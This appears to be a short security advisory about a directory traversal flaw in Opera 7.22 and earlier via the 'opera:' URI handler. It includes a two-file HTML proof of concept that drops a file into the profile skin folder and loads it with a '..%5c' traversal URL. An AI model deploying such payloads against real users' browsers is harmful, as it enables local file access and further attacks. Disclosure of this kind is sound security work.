source: https://www.securityfocus.com/bid/9021/info It has been reported that Opera is vulnerable to a directory traversal issue that may allow an attacker to access sensitive information. The problem presents itself due to insufficient sanitization of user-supplied data through the 'Opera:' URI handler. The issue may allow an attacker to traverse outside a directory by using '..%5c' or '..%2f' character sequences. Successful exploitation of this vulnerability may allow a remote attacker to gain access to sensitive information that may be used to launch further attacks against a vulnerable system. Opera Web Browser versions 7.22 and prior are reported to be prone to this issue. ---------------START MAIN.HTM---------------- <html> <head> <script language="javascript"> var win=open("skin.htm") // The server should return content-type as // "application/x-opera-skin" for "Skin.htm". "Skin.htm" will be dropped in the "<opera // dir>/profile/skin/" folder. setTimeout("redir()",2000) //modify according to your situation. function redir(){ window.location.href="opera:/help/..%5c/profile/skin/skin.htm" //This uses the // directory traversal flaw mentioned in advisory 2 to get the path of the dropped file. In this // case, it is skin.htm. } </script> </head> <body> <h1>This is the main file</h1> </body> </html> ---------------END MAIN.HTM---------------- ---------------START SKIN.HTM---------------- <body> <h1> Opera Skinned!!! </h1><p>This is Skin.htm from "<opera dir>/profile/skin/" in localhost. </body> ---------------END SKIN.HTM----------------